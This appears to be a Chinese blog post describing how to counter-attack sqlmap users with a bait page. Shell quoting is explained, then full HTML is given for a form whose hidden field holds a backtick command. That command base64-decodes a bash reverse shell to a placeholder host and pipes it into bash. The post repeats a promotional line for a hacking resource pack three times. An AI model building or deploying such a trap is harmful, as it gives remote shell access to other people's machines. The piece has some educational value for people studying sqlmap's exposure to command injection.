0x01 序
之前有群友丢了一个案例,提问sqlmap是否有反制漏洞,群里有大哥回复有命令执行,由于自己对这个没有了解,但sqlmap嘛又是本脚本小子的常用工具,sql注入没有sqlmap怎么测嘛,那么处于对自己的保护赶紧随着大佬的提醒去看了看文章。
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
0x02 过程
找了一些之前的文章,发现大概是21年的时候有人提到过的反制方案
构造特殊的get或者post注入点来等待攻击者使用sqlmap扫描,例如下图,将get请求中的一个参数的值设置为`ls`l,倘若直接改成反弹shell的代码即可反控对方机器。
看似是利用了反引号导致执行了系统命令,sqlmap躺枪啊
介绍下shell规则中单引号、双引号、反引号、无引号的区别
单引号:单引号被识别为普通字符串,就是不识别引号里面的特殊字符,属于强引用。
双引号:双引号里面的特殊字符是可以被识别的,是弱引用。
反引号:在linux中,反引号中的内容一般是一行或多行命令,当这些命令被反引号引着,命令执行结果就会以字符串的形式被保留下来。
无引号:如何是连续的符号可以不加引号,但是如果有空格就有歧义,最好使用双引号。
于是我们可以构造一个页面,把我们需要传递的参数传入,如果攻击者没仔细看数据包就丢进sqlmap尝试注入的话就有可能导致被反制
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
post方式的利用:
页面代码:
<html>``<head>``<meta charset="utf-8">``<title> test demo</title>``</head>``<body>``<input>search the user</input>` `<form action="test.html" method="post" enctype="text/plain">```<input type='hidden' name='name' value="A20&id=131241241&query=shell`echo YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC54eHgvNzc3NyAwPiYx| base64 -d|bash -i`&port=6379"/>```<input type="submit" value='提交'>``</form>``</body>``</html>``
Burp抓包查看
![](https://img-blog.csdnimg.cn/img_convert/5f0b34475fb1795bb2f53a483d0e4e21.png)
查看效果
那么防护方案的话就是,擦亮眼睛啊!
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享